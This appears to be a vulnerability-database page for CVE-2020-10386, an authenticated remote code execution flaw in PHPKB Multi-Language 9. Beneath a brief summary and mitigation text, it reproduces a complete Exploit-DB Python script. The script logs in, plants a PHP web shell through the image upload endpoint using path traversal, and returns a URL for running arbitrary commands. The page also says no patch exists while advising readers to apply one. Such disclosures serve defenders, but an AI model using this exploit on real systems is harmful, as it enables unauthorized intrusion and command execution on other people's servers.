PHPKB Multi-Language 9 - 'image-upload.php' Authenticated Remote Code Execution

vendor:

PHPKB Multi-Language 9

by:

Antonio Cannito

7.2

CVSS

HIGH

Remote Code Execution

CWE

Product Name: PHPKB Multi-Language 9

Affected Version From: Multi-Language v9

Affected Version To: Multi-Language v9

Patch Exists: NO

Related CWE: CVE-2020-10386

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 8.1 / PHP 7.4.3

2020

PHPKB Multi-Language 9 – ‘image-upload.php’ Authenticated Remote Code Execution

This exploit allows an authenticated user to execute arbitrary commands on the target system by uploading a specially crafted PHP file. The vulnerability exists in the 'image-upload.php' file of PHPKB Multi-Language 9. By uploading a PHP file containing the desired command, the attacker can execute it by visiting the generated URL.

Mitigation:

Apply the vendor's patch or update to a version that has this vulnerability fixed. Additionally, restrict access to the 'image-upload.php' file and ensure that only trusted users have access to it.

Source

Exploit-DB raw data:

# Exploit Title: PHPKB Multi-Language 9 - 'image-upload.php' Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10386


#!/usr/bin/env python3
import argparse
import requests
from json import loads

#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10386 - Remote Code Execution via .php file upload in admin/imagepaster/image-upload.php in Chadha PHPKB Standard Multi-Language 9")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser/Writer/Translator/Editor username")
parser.add_argument("password", type=str, help="Superuser/Writer/Translator/Editor password")
parser.add_argument("command", type=str, help="The command you want to execute")
args = parser.parse_args()

session = requests.Session()
#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code
baseurl = loads(session.post(args.url + "/admin/imagepaster/image-upload.php", files={'file': "<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>"}, data={'action': 'imageinsert_upload', 'imgMime': 'image/php', 'imgName': '../js/index.png', 'imgParent': 'null'}).text)["url"]
print("Visit this page to execute the command:\n" + baseurl + "?cmd=" + args.command)
print("\nIf you want to execute other commands you can re-execute the exploit or visit this webpage, followed by the command you want executed:\n" + baseurl + "?cmd=")